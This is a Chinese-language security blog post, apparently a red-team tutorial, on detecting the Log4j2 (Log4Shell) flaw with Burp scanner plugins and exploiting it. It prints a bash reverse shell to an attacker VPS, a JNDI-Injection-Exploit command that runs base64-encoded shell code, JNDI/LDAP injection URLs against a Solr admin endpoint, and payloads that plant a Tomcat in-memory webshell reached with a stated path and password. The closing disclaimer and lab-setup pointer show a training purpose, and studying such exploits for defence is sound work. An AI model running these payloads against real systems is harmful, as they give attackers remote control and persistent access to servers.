Log4j2从被动扫描到反弹shell/写内存马

admin 2023年1月11日01:12:12评论515 views字数 1724阅读5分44秒阅读模式

写在前面

    上周跟隔壁省的红队师傅们一起复盘,发现他们在一次省教育局护网中用log4j漏洞拿下了六七个单位。当时就感觉到了自己对这个漏洞的发现和利用的不足,自己的被动扫描工具从来没有扫出来log4j。现在重新再审视一下这个漏洞,目标是增加发现漏洞的概率,熟练利用方式。这个漏洞出来这么久,现在算是朝花夕拾了。


目录

0x01 漏洞成因0x02 影响范围0x03 发现方式-burp插件0x04 反弹shell0x05 写入内存马0x06 工具与靶机环境获取

Log4j2从被动扫描到反弹shell/写内存马


漏洞成因

Log4j2在打印日志时,如果发现日志内容中包含关键词 ${ },那么在{ }包含的内容会被当做变量来进行替换,导致攻击者可以任意执行命令。

影响范围

使用了Log4j2 的Java应用(Log4j 1.x 的反而没受影响),受此影响的常见开源项目有:Spring-Boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 等。


发现方式-burp插件

这里分享两个burp log4j2漏洞被动扫描工具,亲测都很好用。第一个主/被动log4j2扫描工具:log4j2 RCE需要先配置ceye token后使用

Log4j2从被动扫描到反弹shell/写内存马

抓包右键,使用插件主动扫描

Log4j2从被动扫描到反弹shell/写内存马

插件显示主动扫描发现的Log4j2

Log4j2从被动扫描到反弹shell/写内存马

一直以为是个主动扫描工具,后来发现这个插件也会被动扫描

Log4j2从被动扫描到反弹shell/写内存马

第二个工具,被动扫描插件:Log4j2Scan,同上配置Ceye token

Log4j2从被动扫描到反弹shell/写内存马

打开一个网页多点几个目录后扫描发现漏洞:

Log4j2从被动扫描到反弹shell/写内存马

反弹shell

先开启8088端口监听

Log4j2从被动扫描到反弹shell/写内存马

获取反弹shell的base64加密语句

bash -i >& /dev/tcp/VPS_ip/8088 0>&1

Log4j2从被动扫描到反弹shell/写内存马

在自己的VPS使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启LDAP服务并使用上面反弹shell的语句生成

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Y***********************==}|{base64,-d}|{bash,-i}" -A "VPS_ip"


Log4j2从被动扫描到反弹shell/写内存马

在有log4j2的目录,构造语句访问对应此1389端口对应ldap服务

http://ip:8983/solr/admin/cores?action=${jndi:ldap://上图LDAP具体地址}

成功反弹shell

Log4j2从被动扫描到反弹shell/写内存马

写入内存马

log4j环境是团队一个师傅拉的,这里直接拿来用,感兴趣的师傅可以在后面“工具获取”中得到。打开网页发现是Spring环境。

Log4j2从被动扫描到反弹shell/写内存马

写入内存马工具JNDIExploit

Log4j2从被动扫描到反弹shell/写内存马

先用两个插件被动扫描,发现/cvetext?cmd参数存在log4j2漏洞

Log4j2从被动扫描到反弹shell/写内存马

Log4j2从被动扫描到反弹shell/写内存马

尝试TomcatEcho,HTTP头插入cmd,有回显

cmd=$%7bjndi:ldap://VPS_ip:1389/TomcatBypass/TomcatEcho%7d

Log4j2从被动扫描到反弹shell/写内存马

尝试写入Tomcat内存马

cmd=$%7bjndi:ldap://VPS_ip:1389/TomcatBypass/TomcatMemshell3%7d


没有返回信息,之前用TomcatMemshell2 是会提示有没有写入成功,直接上冰蝎连接尝试。

目录:/ateam密码:pass1024

成功连接

Log4j2从被动扫描到反弹shell/写内存马

顺便尝试一下这个工具反弹shell

Log4j2从被动扫描到反弹shell/写内存马

成功接收到反弹shell,但是没有回显

Log4j2从被动扫描到反弹shell/写内存马

工具与靶机环境获取

    公众号回复"log4j",获取工具。Log4_demo开启后会占用8080端口。

Log4j2从被动扫描到反弹shell/写内存马



写在最后

    年终总结写完到现在涨了三分之一关注,受宠若惊,跟师傅们一起成长。

    本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好维护个人信息安全、企业安全、国家安全。

    未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

原文始发于微信公众号(云下信安):Log4j2从被动扫描到反弹shell/写内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月11日01:12:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Log4j2从被动扫描到反弹shell/写内存马http://cn-sec.com/archives/1510596.html

发表评论

匿名网友 填写信息